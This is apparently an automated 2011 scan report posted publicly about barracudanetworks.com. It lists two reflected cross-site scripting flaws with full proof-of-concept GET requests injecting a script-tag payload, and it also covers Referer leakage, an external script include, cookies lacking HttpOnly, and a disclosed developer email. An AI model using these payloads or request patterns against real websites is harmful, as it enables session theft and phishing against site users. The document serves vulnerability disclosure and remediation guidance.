XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, barracuda.com

Report generated by XSS.CX at Thu May 19 19:20:25 CDT 2011.

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1. Cross-site scripting (reflected)

1.1. http://www.barracudanetworks.com/ [name of an arbitrarily supplied request parameter]

1.2. http://www.barracudanetworks.com/ns/ [name of an arbitrarily supplied request parameter]

2. Cross-domain Referer leakage

3. Cross-domain script include

4. Cookie without HttpOnly flag set

4.1. http://www.barracudanetworks.com/

4.2. http://www.barracudanetworks.com/ns/

5. Email addresses disclosed

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/ [name of an arbitrarily supplied request parameter]
/ns/ [name of an arbitrarily supplied request parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.barracudanetworks.com/ [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.barracudanetworks.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c422"><script>alert(1)</script>472b982b9a9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /?a=bsf_product&1c422"><script>alert(1)</script>472b982b9a9=1 HTTP/1.1
Host: www.barracudanetworks.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response (redirected)

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: barra_tracking_code=bsf_product; path=/
Set-Cookie: locale=+; expires=Wed, 18-May-2011 22:58:39 GMT
Set-Cookie: locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
Set-Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; expires=Fri, 17-Jun-2011 23:06:59 GMT; path=/
Date: Wed, 18 May 2011 23:06:59 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta ht
...[SNIP]...
<input type="hidden" name="1c422"><script>alert(1)</script>472b982b9a9" value="1" />
...[SNIP]...

1.2. http://www.barracudanetworks.com/ns/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.barracudanetworks.com
Path:	/ns/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 473b5"><script>alert(1)</script>fc0d105982b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ns/?a=bsf_product&L=en&473b5"><script>alert(1)</script>fc0d105982b=1 HTTP/1.1
Host: www.barracudanetworks.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: barra_tracking_code=bsf_product; locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A

Response

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: barra_tracking_code=bsf_product; path=/
Set-Cookie: locale=+; expires=Wed, 18-May-2011 22:58:27 GMT
Set-Cookie: locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
Set-Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; expires=Fri, 17-Jun-2011 23:06:47 GMT; path=/
Date: Wed, 18 May 2011 23:06:46 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta ht
...[SNIP]...
<input type="hidden" name="473b5"><script>alert(1)</script>fc0d105982b" value="1" />
...[SNIP]...

2. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.barracudanetworks.com
Path:	/ns/

Issue detail

The page was loaded from a URL containing a query string:

http://www.barracudanetworks.com/ns/?a=bsf_product&L=en

The response contains the following links to other domains:

http://event.on24.com/r.htm?e=304247&s=1&k=6B7171BCAA475A8D8D9D96C71571A46B&partnerref=cudahome
http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United%20States/149_arbys.gif
http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United%20States/649_creative_labs.gif
http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United%20States/650_hickory_farms.gif
http://www.barracudacentral.org/
http://www.barracudalabs.com/
http://www.barracudalabs.com/wordpress/index.php/2011/05/17/facebook-videos-now-leading-to-fake-youtube-captchas/
http://www.barracudanetworksag.com/
http://www.barracudaware.com/
http://www.cudaeye.com/
http://www.cudatel.com/
http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx?div=&zimg=59&lhnid=1288&iv=&custom1=&custom2=&custom3=&t=f
https://login.barracuda.com/

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /ns/?a=bsf_product&L=en HTTP/1.1
Host: www.barracudanetworks.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: barra_tracking_code=bsf_product; locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A

Response

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: barra_tracking_code=bsf_product; path=/
Set-Cookie: locale=+; expires=Wed, 18-May-2011 22:57:57 GMT
Set-Cookie: locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
Set-Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; expires=Fri, 17-Jun-2011 23:06:17 GMT; path=/
Date: Wed, 18 May 2011 23:06:16 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta ht
...[SNIP]...
<li><a href="http://www.barracudanetworksag.com"><span>
...[SNIP]...
<li><a href="http://www.barracudacentral.org"><span>
...[SNIP]...
<li><a href="http://www.barracudalabs.com"><span>
...[SNIP]...
<li><a href="http://www.barracudaware.com"><span>
...[SNIP]...
<li><a href="http://www.cudatel.com"><span>
...[SNIP]...
<li><a href="http://www.cudaeye.com"><span>
...[SNIP]...
<div style="float: right; margin: 0 16px 2px;"><a href="https://login.barracuda.com" style="text-decoration: none;"><img src="/ns/gfx/customer_login.png" name="customer_login" id="customer_login" onmouseover="roll_over('/ns/gfx/customer_login_hover.png','customer_login')" onmouseout="roll_over('/ns/gfx/customer_logi
...[SNIP]...
<li class="news">
               <a href="http://www.barracudalabs.com/wordpress/index.php/2011/05/17/facebook-videos-now-leading-to-fake-youtube-captchas/" target="_blank">Facebook Videos Lead to Fake YouTube CAPTCHAs</a>
...[SNIP]...
<map name="webinar-reg">
           <area shape="rect" coords="0,0,300,190" href="http://event.on24.com/r.htm?e=304247&s=1&k=6B7171BCAA475A8D8D9D96C71571A46B&partnerref=cudahome" target="_blank">
       </map>
...[SNIP]...
</h1>
<a style="font-weight: normal; text-decoration: none;" href="http://www.barracudacentral.org">
       <p>
...[SNIP]...
<a href="customers/"><img src="http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United States/649_creative_labs.gif" alt="Creative Labs" title="Creative Labs - A Barracuda Networks Customer"/></a>
                                           <a href="customers/"><img src="http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United States/149_arbys.gif" alt="Arby's" title="Arby's - A Barracuda Networks Customer"/></a>
                                           <a href="customers/"><img src="http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United States/650_hickory_farms.gif" alt="Hickory Farms" title="Hickory Farms - A Barracuda Networks Customer"/></a>
...[SNIP]...
</a>
           | <a href="http://www.barracudanetworksag.com">Barracuda Networks AG</a>
           | <a href="http://www.barracudacentral.org">Barracuda Central</a>
           | <a href="http://www.barracudalabs.com">Barracuda Labs</a>
           | <a href="http://www.barracudaware.com">BarracudaWare</a>
           | <a href="http://www.cudatel.com">CudaTel</a>
           | <a href="http://www.cudaeye.com">CudaEye</a>
...[SNIP]...
<div id="live-chat-loader" style="display: none">
<script type="text/javascript" src="http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx?div=&zimg=59&lhnid=1288&iv=&custom1=&custom2=&custom3=&t=f"></script>
...[SNIP]...

3. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.barracudanetworks.com
Path:	/ns/

Issue detail

The response dynamically includes the following script from another domain:

http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx?div=&zimg=59&lhnid=1288&iv=&custom1=&custom2=&custom3=&t=f

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

Response

4. Cookie without HttpOnly flag set previous next
There are 2 instances of this issue:

/
/ns/

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

4.1. http://www.barracudanetworks.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.barracudanetworks.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

barra_tracking_code=bsf_product; path=/
locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /?a=bsf_product HTTP/1.1
Host: www.barracudanetworks.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 301 OK
Content-Length: 182
Content-Type: text/html
Location: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
Set-Cookie: barra_tracking_code=bsf_product; path=/
Set-Cookie: locale=+; expires=Wed, 18-May-2011 22:57:57 GMT
Set-Cookie: locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
Date: Wed, 18 May 2011 23:06:16 GMT

<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://www.barracudanetworks.com/ns/?a=bsf_product&L=en">here</a></body>

4.2. http://www.barracudanetworks.com/ns/ previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.barracudanetworks.com
Path:	/ns/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

barra_tracking_code=bsf_product; path=/
locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
barra_hidden_menus=a%3A0%3A%7B%7D; expires=Fri, 17-Jun-2011 23:06:17 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

5. Email addresses disclosed previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.barracudanetworks.com
Path:	/ns/js/wysiwyg/wysiwyg.js

Issue detail

The following email address was disclosed in the response:

me@jscript.dk

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /ns/js/wysiwyg/wysiwyg.js?v=2009-04-03a HTTP/1.1
Host: www.barracudanetworks.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
Cookie: barra_tracking_code=bsf_product; locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; barra_hidden_menus=a%3A0%3A%7B%7D

Response

HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Type: application/x-javascript
Last-Modified: Wed, 20 May 2009 20:16:11 GMT
Accept-Ranges: bytes
ETag: "e4e49cd187d9c91:18c3"
Date: Wed, 18 May 2011 23:06:21 GMT
Vary: Accept-Encoding
Content-Length: 34315

//
// openWYSIWYG v1.0 Copyright (c) 2006 openWebWare.com
// This copyright notice MUST stay intact for use.
//
// An open source WYSIWYG editor for use in web based applications.
// For full sou
...[SNIP]...
ption : Emulates insertAdjacentHTML(), insertAdjacentText() and
insertAdjacentElement() three functions so they work with
Netscape 6/Mozilla
Notes : by Thor Larholm me@jscript.dk
\* ---------------------------------------------------------------------- */
if(typeof HTMLElement!="undefined" && !HTMLElement.prototype.insertAdjacentElement){
HTMLElement.prototype.insertAdjac
...[SNIP]...

Report generated by XSS.CX at Thu May 19 19:20:25 CDT 2011.